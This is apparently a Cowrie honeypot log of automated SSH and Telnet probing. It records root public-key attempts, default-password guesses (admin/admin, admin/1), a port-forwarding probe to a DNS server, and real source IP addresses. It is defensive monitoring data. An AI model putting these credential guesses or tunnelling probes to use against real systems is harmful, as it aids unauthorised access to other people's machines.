{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:10:33:62:f7:50:b1:b0:27:9a:5e:6f:40:b0:a1:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC75+QUiDIV+u4NpdnNzTf/ljD9GNxrH/7AoxQY6KdcGVYOicZwafYOLh3EBszKWDxCQhk/HmlAghi3AxdI8SqvxvsDZq/rqkitU1BELd8ovtCAv83HgROxZBrtJANHqr3gBPdWj/RTK0HWo69k5a+FJXF3nJtWcRDkq/myPxoO63pB0AaEQgggUu5Z5KAAZVk32PZmEr0esPnkdTsOi1j2HnJJMqACc1sHqgE5n/Uv4W0AuO+prLvqYnb4WEuvsjhez8emnbiIeQ6fUl/pACjd36ygqB4ZUnzYYXMYUy35EoaN4UsYZ2ojW3lcIHcKvWmyrxqlnlB9D6kKUGDCF4ub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:10:33:62:f7:50:b1:b0:27:9a:5e:6f:40:b0:a1:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.635482Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:10:33:62:f7:50:b1:b0:27:9a:5e:6f:40:b0:a1:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC75+QUiDIV+u4NpdnNzTf/ljD9GNxrH/7AoxQY6KdcGVYOicZwafYOLh3EBszKWDxCQhk/HmlAghi3AxdI8SqvxvsDZq/rqkitU1BELd8ovtCAv83HgROxZBrtJANHqr3gBPdWj/RTK0HWo69k5a+FJXF3nJtWcRDkq/myPxoO63pB0AaEQgggUu5Z5KAAZVk32PZmEr0esPnkdTsOi1j2HnJJMqACc1sHqgE5n/Uv4W0AuO+prLvqYnb4WEuvsjhez8emnbiIeQ6fUl/pACjd36ygqB4ZUnzYYXMYUy35EoaN4UsYZ2ojW3lcIHcKvWmyrxqlnlB9D6kKUGDCF4ub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.639385Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:3c:f2:50:0e:86:20:51:cf:0b:ce:f5:89:e7:0c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA14WMtI66p0f8LzzKaVj/M3QwJCj3dgAePmydWCIJApUfOHT3AGvowHTNvioGY0Z7c4u+snjyaFRpdSm3bmJVzoJkodycNiJhzvXJcRHuffGBuvHUWLY9E0X5vVXrtZqRJE0HHcV+bKhb0LH2LvqDssT02SQ+o4dlU82eFa93bjsqOeIa2vtTqfs6/uup3sbkedt5kIen2kMWmw/BVxAg5VMv38y8EsA8sloNDcvT61tPLPrdyOxRUelGf0gXRqZ7OBGso+d5342jQrjXTqfGY6BsPZX37tsMZYtAX5mcraUBLhoCb0i/+rFveAs+05hE259/zqQsZd8ZG1Bw7y5q7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:3c:f2:50:0e:86:20:51:cf:0b:ce:f5:89:e7:0c:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.720848Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:3c:f2:50:0e:86:20:51:cf:0b:ce:f5:89:e7:0c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA14WMtI66p0f8LzzKaVj/M3QwJCj3dgAePmydWCIJApUfOHT3AGvowHTNvioGY0Z7c4u+snjyaFRpdSm3bmJVzoJkodycNiJhzvXJcRHuffGBuvHUWLY9E0X5vVXrtZqRJE0HHcV+bKhb0LH2LvqDssT02SQ+o4dlU82eFa93bjsqOeIa2vtTqfs6/uup3sbkedt5kIen2kMWmw/BVxAg5VMv38y8EsA8sloNDcvT61tPLPrdyOxRUelGf0gXRqZ7OBGso+d5342jQrjXTqfGY6BsPZX37tsMZYtAX5mcraUBLhoCb0i/+rFveAs+05hE259/zqQsZd8ZG1Bw7y5q7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.724299Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:0a:a3:4e:df:3f:f1:16:27:e6:be:4d:81:c5:72:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTENE28v6qo6frXbeTM3S1VJn8fVGeTCYnrT3Q9Ufis4BVwEPptX7EHBFWjiysFj4dof01LxOJGZjyJKByCN8jGTklBbrwZKIZGLuxZ4TdFDDo+CIQCOANUz3pAv0HEntPJl841ySftFtwXkJYlqi5eI0teHh2hJ5VzYQIXWZJj4g23E6vqLDgSCqZ37+hqKgEHpSKkCcinI1YxjovYKn1obT+VrUVKM11VaFemEEh7QHzsGGV2C8InQvE+QSuq4qaZcOoN+o9237ML+amDD6XsWrZQTiWMWpFMG1fLow8gd5+NS4lkNhxiKcKx01L8BUmwc0o1J8f/NcqbYUCrV3h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:0a:a3:4e:df:3f:f1:16:27:e6:be:4d:81:c5:72:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.804535Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:0a:a3:4e:df:3f:f1:16:27:e6:be:4d:81:c5:72:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTENE28v6qo6frXbeTM3S1VJn8fVGeTCYnrT3Q9Ufis4BVwEPptX7EHBFWjiysFj4dof01LxOJGZjyJKByCN8jGTklBbrwZKIZGLuxZ4TdFDDo+CIQCOANUz3pAv0HEntPJl841ySftFtwXkJYlqi5eI0teHh2hJ5VzYQIXWZJj4g23E6vqLDgSCqZ37+hqKgEHpSKkCcinI1YxjovYKn1obT+VrUVKM11VaFemEEh7QHzsGGV2C8InQvE+QSuq4qaZcOoN+o9237ML+amDD6XsWrZQTiWMWpFMG1fLow8gd5+NS4lkNhxiKcKx01L8BUmwc0o1J8f/NcqbYUCrV3h","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.808001Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:7a:1f:01:fe:b6:fe:2b:88:88:44:c6:60:dd:b3:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7CFsFkjuNNL3N4a34MAFRqhZqEQz/g2/Bjfm4Zj4NmZjaZ7y1HC87AOKvt8dk80ZsA460dmZINBSbjHB3Q37TBnDBSDRzmcGn4EqH1oqTEgldrCVHoeo8UJk4pSbALrJkFxnBdNT7pUdhs5figZY6DFgulu2gbM0wM7q3f+jxNK40d2VGqx8nthlLTSkucVspnP8UOojWEV+jsUqohqbpCSHpCYf6v4f29Cs4ib6arfdypUBDPU5nglc/zlTY8AuCu/R1meSzo3jFRTKUb3m2dAojxNskleIUl/iupzi1pD+O6u+8vEX2lhUCa0B4bZKfbJJg8ajpcKd1et7xdyzv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:7a:1f:01:fe:b6:fe:2b:88:88:44:c6:60:dd:b3:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.889822Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:7a:1f:01:fe:b6:fe:2b:88:88:44:c6:60:dd:b3:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7CFsFkjuNNL3N4a34MAFRqhZqEQz/g2/Bjfm4Zj4NmZjaZ7y1HC87AOKvt8dk80ZsA460dmZINBSbjHB3Q37TBnDBSDRzmcGn4EqH1oqTEgldrCVHoeo8UJk4pSbALrJkFxnBdNT7pUdhs5figZY6DFgulu2gbM0wM7q3f+jxNK40d2VGqx8nthlLTSkucVspnP8UOojWEV+jsUqohqbpCSHpCYf6v4f29Cs4ib6arfdypUBDPU5nglc/zlTY8AuCu/R1meSzo3jFRTKUb3m2dAojxNskleIUl/iupzi1pD+O6u+8vEX2lhUCa0B4bZKfbJJg8ajpcKd1et7xdyzv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.893424Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ca:c6:7e:3b:4f:a1:32:7c:e0:b5:16:6a:6e:92:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4aUGj0aFjuyzrDQfF0YZ2xh/VHSzdilmvMgXcFWkhPbWp3y9NMnhv4TQfbktMbX9vaBlb9EeduYhpXWzd1+Oczo78S2nPfMvuWT3TF8KFu/StWedYm/Nk7hQBQ/2cwx48VAaDS43DItAibIA9STCt7+nV1RqRu/DTxtQYe06kCP2N5etOarsnFDn8t1W9eZoOgs+Iltq2KPVFVeeSACMrWigTnMiTLn/NCx7zCUyoiLaN2n0/quDYkoV7V/ngbw4iGyZqvdiQAklfyHa/fKWh581uF/Csn2hNXB9OtRO3hzKcm1V1+kMAefQzXlLpitjuw4rb0ZtK0xG8Z6yd6CtH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:ca:c6:7e:3b:4f:a1:32:7c:e0:b5:16:6a:6e:92:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.975423Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ca:c6:7e:3b:4f:a1:32:7c:e0:b5:16:6a:6e:92:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4aUGj0aFjuyzrDQfF0YZ2xh/VHSzdilmvMgXcFWkhPbWp3y9NMnhv4TQfbktMbX9vaBlb9EeduYhpXWzd1+Oczo78S2nPfMvuWT3TF8KFu/StWedYm/Nk7hQBQ/2cwx48VAaDS43DItAibIA9STCt7+nV1RqRu/DTxtQYe06kCP2N5etOarsnFDn8t1W9eZoOgs+Iltq2KPVFVeeSACMrWigTnMiTLn/NCx7zCUyoiLaN2n0/quDYkoV7V/ngbw4iGyZqvdiQAklfyHa/fKWh581uF/Csn2hNXB9OtRO3hzKcm1V1+kMAefQzXlLpitjuw4rb0ZtK0xG8Z6yd6CtH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:57.978407Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:17:58.059280Z","src_ip":"62.210.209.225","session":"3061345a51e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":20396,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a5690d8e9b","protocol":"ssh","message":"New connection: 87.251.64.176:20396 (10.17.0.5:22) [session: 28a5690d8e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:20.635167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:20.639270Z","src_ip":"87.251.64.176","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:20.736121Z","src_ip":"87.251.64.176","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:21.024442Z","src_ip":"87.251.64.176","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:21.123408Z","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:21.220708Z","src_ip":"87.251.64.176","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:21.322104Z","src_ip":"87.251.64.176","session":"28a5690d8e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.53.55.119","src_port":49582,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1a9b56bfcee","protocol":"telnet","message":"New connection: 115.53.55.119:49582 (159.203.135.109:23) [session: e1a9b56bfcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:37.073272Z"}
{"eventid":"cowrie.session.closed","duration":12.81654953956604,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:18:49.889714Z","src_ip":"115.53.55.119","session":"e1a9b56bfcee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2135,"dst_ip":"10.17.0.5","dst_port":23,"session":"263982ef812e","protocol":"telnet","message":"New connection: 149.86.143.242:2135 (10.17.0.5:23) [session: 263982ef812e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:19:33.923268Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":21968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9876f846a1eb","protocol":"ssh","message":"New connection: 178.20.210.186:21968 (10.17.0.5:22) [session: 9876f846a1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:10.565344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:10.570013Z","src_ip":"178.20.210.186","session":"9876f846a1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:10.676955Z","src_ip":"178.20.210.186","session":"9876f846a1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1","message":"login attempt [admin/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:11.101317Z","src_ip":"178.20.210.186","session":"9876f846a1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:12.211047Z","src_ip":"178.20.210.186","session":"9876f846a1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00972175598145,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:33.932862Z","src_ip":"149.86.143.242","session":"263982ef812e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2086,"dst_ip":"10.17.0.5","dst_port":23,"session":"4acd9747f4ea","protocol":"telnet","message":"New connection: 149.86.143.242:2086 (10.17.0.5:23) [session: 4acd9747f4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:34.355165Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2195,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c98cbf3258","protocol":"telnet","message":"New connection: 149.86.143.242:2195 (10.17.0.5:23) [session: 44c98cbf3258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:21:40.823328Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57972,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dd596f9ccf7","protocol":"ssh","message":"New connection: 194.59.206.2:57972 (159.203.135.109:22) [session: 0dd596f9ccf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:22:17.443505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:22:17.448513Z","src_ip":"194.59.206.2","session":"0dd596f9ccf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:22:17.554391Z","src_ip":"194.59.206.2","session":"0dd596f9ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:22:17.648886Z","src_ip":"194.59.206.2","session":"0dd596f9ccf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.215.65.167","src_port":17386,"dst_ip":"159.203.135.109","dst_port":23,"session":"36cd9ad8f25f","protocol":"telnet","message":"New connection: 175.215.65.167:17386 (159.203.135.109:23) [session: 36cd9ad8f25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:06.758338Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"98d3da9eddc0","protocol":"telnet","message":"New connection: 142.93.69.27:34230 (10.17.0.5:23) [session: 98d3da9eddc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:13.231390Z"}
{"eventid":"cowrie.session.closed","duration":120.02202987670898,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:34.377054Z","src_ip":"149.86.143.242","session":"4acd9747f4ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046108961105347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:37.804324Z","src_ip":"175.215.65.167","session":"36cd9ad8f25f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.003671169281,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:40.826875Z","src_ip":"149.86.143.242","session":"44c98cbf3258","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.86.143.242","src_port":2048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d10c834b6dce","protocol":"telnet","message":"New connection: 149.86.143.242:2048 (10.17.0.5:23) [session: d10c834b6dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:41.224451Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52970,"dst_ip":"10.17.0.5","dst_port":22,"session":"266fc9e583a8","protocol":"ssh","message":"New connection: 87.251.64.176:52970 (10.17.0.5:22) [session: 266fc9e583a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:42.947747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:23:42.952656Z","src_ip":"87.251.64.176","session":"266fc9e583a8","protocol":"ssh"}
